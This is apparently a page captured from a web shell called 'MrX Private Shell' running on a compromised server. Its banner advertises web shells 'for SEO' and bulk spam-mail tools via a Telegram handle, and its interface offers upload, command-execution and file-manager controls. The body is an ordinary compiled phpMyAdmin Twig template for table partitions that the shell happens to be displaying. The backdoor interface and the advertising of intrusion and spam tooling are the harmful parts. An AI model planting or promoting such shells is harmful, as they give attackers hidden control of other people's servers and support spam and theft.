__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

use Twig\Environment;
use Twig\Error\LoaderError;
use Twig\Error\RuntimeError;
use Twig\Extension\CoreExtension;
use Twig\Extension\SandboxExtension;
use Twig\Markup;
use Twig\Sandbox\SecurityError;
use Twig\Sandbox\SecurityNotAllowedTagError;
use Twig\Sandbox\SecurityNotAllowedFilterError;
use Twig\Sandbox\SecurityNotAllowedFunctionError;
use Twig\Source;
use Twig\Template;
use Twig\TemplateWrapper;

/* table/structure/display_partitions.twig */
class __TwigTemplate_36b52523fe56b0d9e7c743f79088fd92 extends Template
{
    private Source $source;
    /**
     * @var array<string, Template>
     */
    private array $macros = [];

    public function __construct(Environment $env)
    {
        parent::__construct($env);

        $this->source = $this->getSourceContext();

        $this->parent = false;

        $this->blocks = [
        ];
    }

    protected function doDisplay(array $context, array $blocks = []): iterable
    {
        $macros = $this->macros;
        // line 1
        yield "<div id=\"partitions\">
    <fieldset class=\"pma-fieldset\">
        <legend>
            ";
yield _gettext("Partitions");
        // line 5
        yield "            ";
        yield PhpMyAdmin\Html\MySQLDocumentation::show("partitioning");
        yield "
        </legend>
        ";
        // line 7
        if (Twig\Extension\CoreExtension::testEmpty(($context["partitions"] ?? null))) {
            // line 8
            yield "            ";
            yield $this->env->getFilter('notice')->getCallable()(_gettext("No partitioning defined!"));
            yield "
        ";
        } else {
            // line 10
            yield "            <p>
                ";
yield _gettext("Partitioned by:");
            // line 12
            yield "                <code>";
            yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(($context["partition_method"] ?? null), "html", null, true);
            yield "(";
            yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(($context["partition_expression"] ?? null), "html", null, true);
            yield ")</code>
            </p>
            ";
            // line 14
            if (($context["has_sub_partitions"] ?? null)) {
                // line 15
                yield "                <p>
                    ";
yield _gettext("Sub partitioned by:");
                // line 17
                yield "                    <code>";
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(($context["sub_partition_method"] ?? null), "html", null, true);
                yield "(";
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(($context["sub_partition_expression"] ?? null), "html", null, true);
                yield ")</code>
                <p>
            ";
            }
            // line 20
            yield "            <table class=\"table table-striped table-hover table-sm\">
                <thead>
                    <tr>
                        <th colspan=\"2\">#</th>
                        <th>";
yield _gettext("Partition");
            // line 24
            yield "</th>
                        ";
            // line 25
            if (($context["has_description"] ?? null)) {
                // line 26
                yield "                            <th>";
yield _gettext("Expression");
                yield "</th>
                        ";
            }
            // line 28
            yield "                        <th>";
yield _gettext("Rows");
            yield "</th>
                        <th>";
yield _gettext("Data length");
            // line 29
            yield "</th>
                        <th>";
yield _gettext("Index length");
            // line 30
            yield "</th>
                        <th>";
yield _gettext("Comment");
            // line 31
            yield "</th>
                        <th colspan=\"";
            // line 32
            yield ((($context["range_or_list"] ?? null)) ? ("7") : ("6"));
            yield "\">
                            ";
yield _gettext("Action");
            // line 34
            yield "                        </th>
                    </tr>
                </thead>
                <tbody>
                ";
            // line 38
            $context['_parent'] = $context;
            $context['_seq'] = CoreExtension::ensureTraversable(($context["partitions"] ?? null));
            foreach ($context['_seq'] as $context["_key"] => $context["partition"]) {
                // line 39
                yield "                    <tr class=\"noclick";
                yield ((($context["has_sub_partitions"] ?? null)) ? (" table-active") : (""));
                yield "\">
                        ";
                // line 40
                if (($context["has_sub_partitions"] ?? null)) {
                    // line 41
                    yield "                            <td>";
                    yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["partition"], "getOrdinal", [], "method", false, false, false, 41), "html", null, true);
                    yield "</td>
                            <td></td>
                        ";
                } else {
                    // line 44
                    yield "                            <td colspan=\"2\">";
                    yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["partition"], "getOrdinal", [], "method", false, false, false, 44), "html", null, true);
                    yield "</td>
                        ";
                }
                // line 46
                yield "                        <th>";
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["partition"], "getName", [], "method", false, false, false, 46), "html", null, true);
                yield "</th>
                        ";
                // line 47
                if (($context["has_description"] ?? null)) {
                    // line 48
                    yield "                            <td>
                                <code>";
                    // line 50
                    yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["partition"], "getExpression", [], "method", false, false, false, 50), "html", null, true);
                    // line 51
                    yield (((CoreExtension::getAttribute($this->env, $this->source, $context["partition"], "getMethod", [], "method", false, false, false, 51) == "LIST")) ? (" IN (") : (" < "));
                    // line 52
                    yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["partition"], "getDescription", [], "method", false, false, false, 52), "html", null, true);
                    // line 53
                    yield (((CoreExtension::getAttribute($this->env, $this->source, $context["partition"], "getMethod", [], "method", false, false, false, 53) == "LIST")) ? (")") : (""));
                    // line 54
                    yield "</code>
                            </td>
                        ";
                }
                // line 57
                yield "                        <td class=\"value\">";
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["partition"], "getRows", [], "method", false, false, false, 57), "html", null, true);
                yield "</td>
                        <td class=\"value\">
                            ";
                // line 59
                $context["data_length"] = PhpMyAdmin\Util::formatByteDown(CoreExtension::getAttribute($this->env, $this->source,                 // line 60
$context["partition"], "getDataLength", [], "method", false, false, false, 60), 3, 1);
                // line 64
                yield "                            <span>";
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape((($_v0 = ($context["data_length"] ?? null)) && is_array($_v0) || $_v0 instanceof ArrayAccess ? ($_v0[0] ?? null) : null), "html", null, true);
                yield "</span>
                            <span class=\"unit\">";
                // line 65
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape((($_v1 = ($context["data_length"] ?? null)) && is_array($_v1) || $_v1 instanceof ArrayAccess ? ($_v1[1] ?? null) : null), "html", null, true);
                yield "</span>
                        </td>
                        <td class=\"value\">
                            ";
                // line 68
                $context["index_length"] = PhpMyAdmin\Util::formatByteDown(CoreExtension::getAttribute($this->env, $this->source,                 // line 69
$context["partition"], "getIndexLength", [], "method", false, false, false, 69), 3, 1);
                // line 73
                yield "                            <span>";
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape((($_v2 = ($context["index_length"] ?? null)) && is_array($_v2) || $_v2 instanceof ArrayAccess ? ($_v2[0] ?? null) : null), "html", null, true);
                yield "</span>
                            <span class=\"unit\">";
                // line 74
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape((($_v3 = ($context["index_length"] ?? null)) && is_array($_v3) || $_v3 instanceof ArrayAccess ? ($_v3[1] ?? null) : null), "html", null, true);
                yield "</span>
                        </td>
                        <td>";
                // line 76
                yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["partition"], "getComment", [], "method", false, false, false, 76), "html", null, true);
                yield "</td>

                        <td>
                          <a id=\"partition_action_ANALYZE\" class=\"ajax\" href=\"";
                // line 79
                yield PhpMyAdmin\Url::getFromRoute("/table/partition/analyze");
                yield "\" data-post=\"";
                yield PhpMyAdmin\Url::getCommon(["db" =>                 // line 80
($context["db"] ?? null), "table" =>                 // line 81
($context["table"] ?? null), "partition_name" => CoreExtension::getAttribute($this->env, $this->source,                 // line 82
$context["partition"], "getName", [], "method", false, false, false, 82)], "", false);
                // line 83
                yield "\">
                            ";
                // line 84
                yield PhpMyAdmin\Html\Generator::getIcon("b_search", _gettext("Analyze"));
                yield "
                          </a>
                        </td>

                        <td>
                          <a id=\"partition_action_CHECK\" class=\"ajax\" href=\"";
                // line 89
                yield PhpMyAdmin\Url::getFromRoute("/table/partition/check");
                yield "\" data-post=\"";
                yield PhpMyAdmin\Url::getCommon(["db" =>                 // line 90
($context["db"] ?? null), "table" =>                 // line 91
($context["table"] ?? null), "partition_name" => CoreExtension::getAttribute($this->env, $this->source,                 // line 92
$context["partition"], "getName", [], "method", false, false, false, 92)], "", false);
                // line 93
                yield "\">
                            ";
                // line 94
                yield PhpMyAdmin\Html\Generator::getIcon("eye", _gettext("Check"));
                yield "
                          </a>
                        </td>

                        <td>
                          <a id=\"partition_action_OPTIMIZE\" class=\"ajax\" href=\"";
                // line 99
                yield PhpMyAdmin\Url::getFromRoute("/table/partition/optimize");
                yield "\" data-post=\"";
                yield PhpMyAdmin\Url::getCommon(["db" =>                 // line 100
($context["db"] ?? null), "table" =>                 // line 101
($context["table"] ?? null), "partition_name" => CoreExtension::getAttribute($this->env, $this->source,                 // line 102
$context["partition"], "getName", [], "method", false, false, false, 102)], "", false);
                // line 103
                yield "\">
                            ";
                // line 104
                yield PhpMyAdmin\Html\Generator::getIcon("normalize", _gettext("Optimize"));
                yield "
                          </a>
                        </td>

                        <td>
                          <a id=\"partition_action_REBUILD\" class=\"ajax\" href=\"";
                // line 109
                yield PhpMyAdmin\Url::getFromRoute("/table/partition/rebuild");
                yield "\" data-post=\"";
                yield PhpMyAdmin\Url::getCommon(["db" =>                 // line 110
($context["db"] ?? null), "table" =>                 // line 111
($context["table"] ?? null), "partition_name" => CoreExtension::getAttribute($this->env, $this->source,                 // line 112
$context["partition"], "getName", [], "method", false, false, false, 112)], "", false);
                // line 113
                yield "\">
                            ";
                // line 114
                yield PhpMyAdmin\Html\Generator::getIcon("s_tbl", _gettext("Rebuild"));
                yield "
                          </a>
                        </td>

                        <td>
                          <a id=\"partition_action_REPAIR\" class=\"ajax\" href=\"";
                // line 119
                yield PhpMyAdmin\Url::getFromRoute("/table/partition/repair");
                yield "\" data-post=\"";
                yield PhpMyAdmin\Url::getCommon(["db" =>                 // line 120
($context["db"] ?? null), "table" =>                 // line 121
($context["table"] ?? null), "partition_name" => CoreExtension::getAttribute($this->env, $this->source,                 // line 122
$context["partition"], "getName", [], "method", false, false, false, 122)], "", false);
                // line 123
                yield "\">
                            ";
                // line 124
                yield PhpMyAdmin\Html\Generator::getIcon("b_tblops", _gettext("Repair"));
                yield "
                          </a>
                        </td>

                        <td>
                          <a id=\"partition_action_TRUNCATE\" class=\"ajax\" href=\"";
                // line 129
                yield PhpMyAdmin\Url::getFromRoute("/table/partition/truncate");
                yield "\" data-post=\"";
                yield PhpMyAdmin\Url::getCommon(["db" =>                 // line 130
($context["db"] ?? null), "table" =>                 // line 131
($context["table"] ?? null), "partition_name" => CoreExtension::getAttribute($this->env, $this->source,                 // line 132
$context["partition"], "getName", [], "method", false, false, false, 132)], "", false);
                // line 133
                yield "\">
                            ";
                // line 134
                yield PhpMyAdmin\Html\Generator::getIcon("b_empty", _gettext("Truncate"));
                yield "
                          </a>
                        </td>

                        ";
                // line 138
                if (($context["range_or_list"] ?? null)) {
                    // line 139
                    yield "                          <td>
                            <a id=\"partition_action_DROP\" class=\"ajax\" href=\"";
                    // line 140
                    yield PhpMyAdmin\Url::getFromRoute("/table/partition/drop");
                    yield "\" data-post=\"";
                    yield PhpMyAdmin\Url::getCommon(["db" =>                     // line 141
($context["db"] ?? null), "table" =>                     // line 142
($context["table"] ?? null), "partition_name" => CoreExtension::getAttribute($this->env, $this->source,                     // line 143
$context["partition"], "getName", [], "method", false, false, false, 143)], "", false);
                    // line 144
                    yield "\">
                              ";
                    // line 145
                    yield PhpMyAdmin\Html\Generator::getIcon("b_drop", _gettext("Drop"));
                    yield "
                            </a>
                          </td>
                        ";
                }
                // line 149
                yield "
                        ";
                // line 150
                if (($context["has_sub_partitions"] ?? null)) {
                    // line 151
                    yield "                            ";
                    $context['_parent'] = $context;
                    $context['_seq'] = CoreExtension::ensureTraversable(CoreExtension::getAttribute($this->env, $this->source, $context["partition"], "getSubPartitions", [], "method", false, false, false, 151));
                    foreach ($context['_seq'] as $context["_key"] => $context["sub_partition"]) {
                        // line 152
                        yield "                                <tr class=\"noclick\">
                                    <td></td>
                                    <td>";
                        // line 154
                        yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["sub_partition"], "getOrdinal", [], "method", false, false, false, 154), "html", null, true);
                        yield "</td>
                                    <td>";
                        // line 155
                        yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["sub_partition"], "getName", [], "method", false, false, false, 155), "html", null, true);
                        yield "</td>
                                    ";
                        // line 156
                        if (($context["has_description"] ?? null)) {
                            // line 157
                            yield "                                        <td></td>
                                    ";
                        }
                        // line 159
                        yield "                                    <td class=\"value\">";
                        yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["sub_partition"], "getRows", [], "method", false, false, false, 159), "html", null, true);
                        yield "</td>
                                    <td class=\"value\">
                                        ";
                        // line 161
                        $context["data_length"] = PhpMyAdmin\Util::formatByteDown(CoreExtension::getAttribute($this->env, $this->source,                         // line 162
$context["sub_partition"], "getDataLength", [], "method", false, false, false, 162), 3, 1);
                        // line 166
                        yield "                                        <span>";
                        yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape((($_v4 = ($context["data_length"] ?? null)) && is_array($_v4) || $_v4 instanceof ArrayAccess ? ($_v4[0] ?? null) : null), "html", null, true);
                        yield "</span>
                                        <span class=\"unit\">";
                        // line 167
                        yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape((($_v5 = ($context["data_length"] ?? null)) && is_array($_v5) || $_v5 instanceof ArrayAccess ? ($_v5[1] ?? null) : null), "html", null, true);
                        yield "</span>
                                    </td>
                                    <td class=\"value\">
                                        ";
                        // line 170
                        $context["index_length"] = PhpMyAdmin\Util::formatByteDown(CoreExtension::getAttribute($this->env, $this->source,                         // line 171
$context["sub_partition"], "getIndexLength", [], "method", false, false, false, 171), 3, 1);
                        // line 175
                        yield "                                        <span>";
                        yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape((($_v6 = ($context["index_length"] ?? null)) && is_array($_v6) || $_v6 instanceof ArrayAccess ? ($_v6[0] ?? null) : null), "html", null, true);
                        yield "</span>
                                        <span class=\"unit\">";
                        // line 176
                        yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape((($_v7 = ($context["index_length"] ?? null)) && is_array($_v7) || $_v7 instanceof ArrayAccess ? ($_v7[1] ?? null) : null), "html", null, true);
                        yield "</span>
                                    </td>
                                    <td>";
                        // line 178
                        yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["sub_partition"], "getComment", [], "method", false, false, false, 178), "html", null, true);
                        yield "</td>
                                    <td colspan=\"";
                        // line 179
                        yield ((($context["range_or_list"] ?? null)) ? ("7") : ("6"));
                        yield "\"></td>
                                </tr>
                            ";
                    }
                    $_parent = $context['_parent'];
                    unset($context['_seq'], $context['_key'], $context['sub_partition'], $context['_parent']);
                    $context = array_intersect_key($context, $_parent) + $_parent;
                    // line 182
                    yield "                        ";
                }
                // line 183
                yield "                    </tr>
                ";
            }
            $_parent = $context['_parent'];
            unset($context['_seq'], $context['_key'], $context['partition'], $context['_parent']);
            $context = array_intersect_key($context, $_parent) + $_parent;
            // line 185
            yield "                </tbody>
            </table>
        ";
        }
        // line 188
        yield "    </fieldset>
    <fieldset class=\"pma-fieldset tblFooters d-print-none\">
        <form action=\"";
        // line 190
        yield PhpMyAdmin\Url::getFromRoute("/table/structure/partitioning");
        yield "\" method=\"post\">
            ";
        // line 191
        yield PhpMyAdmin\Url::getHiddenInputs(($context["db"] ?? null), ($context["table"] ?? null));
        yield "

            ";
        // line 193
        if (Twig\Extension\CoreExtension::testEmpty(($context["partitions"] ?? null))) {
            // line 194
            yield "                <input class=\"btn btn-secondary\" type=\"submit\" value=\"";
yield _gettext("Partition table");
            yield "\">
            ";
        } else {
            // line 196
            yield "                ";
            yield PhpMyAdmin\Html\Generator::linkOrButton(PhpMyAdmin\Url::getFromRoute("/sql"), ["db" =>             // line 199
($context["db"] ?? null), "table" =>             // line 200
($context["table"] ?? null), "sql_query" => (("ALTER TABLE " . PhpMyAdmin\Util::backquote(            // line 201
($context["table"] ?? null))) . " REMOVE PARTITIONING")], _gettext("Remove partitioning"), ["class" => "btn btn-secondary ajax", "id" => "remove_partitioning"]);
            // line 206
            yield "
                <input class=\"btn btn-secondary\" type=\"submit\" value=\"";
yield _gettext("Edit partitioning");
            // line 207
            yield "\">
            ";
        }
        // line 209
        yield "        </form>
    </fieldset>
</div>
";
        yield from [];
    }

    /**
     * @codeCoverageIgnore
     */
    public function getTemplateName(): string
    {
        return "table/structure/display_partitions.twig";
    }

    /**
     * @codeCoverageIgnore
     */
    public function isTraitable(): bool
    {
        return false;
    }

    /**
     * @codeCoverageIgnore
     */
    public function getDebugInfo(): array
    {
        return array (  474 => 209,  470 => 207,  466 => 206,  464 => 201,  463 => 200,  462 => 199,  460 => 196,  454 => 194,  452 => 193,  447 => 191,  443 => 190,  439 => 188,  434 => 185,  427 => 183,  424 => 182,  415 => 179,  411 => 178,  406 => 176,  401 => 175,  399 => 171,  398 => 170,  392 => 167,  387 => 166,  385 => 162,  384 => 161,  378 => 159,  374 => 157,  372 => 156,  368 => 155,  364 => 154,  360 => 152,  355 => 151,  353 => 150,  350 => 149,  343 => 145,  340 => 144,  338 => 143,  337 => 142,  336 => 141,  333 => 140,  330 => 139,  328 => 138,  321 => 134,  318 => 133,  316 => 132,  315 => 131,  314 => 130,  311 => 129,  303 => 124,  300 => 123,  298 => 122,  297 => 121,  296 => 120,  293 => 119,  285 => 114,  282 => 113,  280 => 112,  279 => 111,  278 => 110,  275 => 109,  267 => 104,  264 => 103,  262 => 102,  261 => 101,  260 => 100,  257 => 99,  249 => 94,  246 => 93,  244 => 92,  243 => 91,  242 => 90,  239 => 89,  231 => 84,  228 => 83,  226 => 82,  225 => 81,  224 => 80,  221 => 79,  215 => 76,  210 => 74,  205 => 73,  203 => 69,  202 => 68,  196 => 65,  191 => 64,  189 => 60,  188 => 59,  182 => 57,  177 => 54,  175 => 53,  173 => 52,  171 => 51,  169 => 50,  166 => 48,  164 => 47,  159 => 46,  153 => 44,  146 => 41,  144 => 40,  139 => 39,  135 => 38,  129 => 34,  124 => 32,  121 => 31,  117 => 30,  113 => 29,  107 => 28,  101 => 26,  99 => 25,  96 => 24,  89 => 20,  80 => 17,  76 => 15,  74 => 14,  66 => 12,  62 => 10,  56 => 8,  54 => 7,  48 => 5,  42 => 1,);
    }

    public function getSourceContext(): Source
    {
        return new Source("", "table/structure/display_partitions.twig", "/usr/share/phpmyadmin/templates/table/structure/display_partitions.twig");
    }
}

Filemanager

Name Type Size Permission Actions
9f28ae999a4f64e1f44b5de8af084c6a.php File 26.27 KB 0644
Filemanager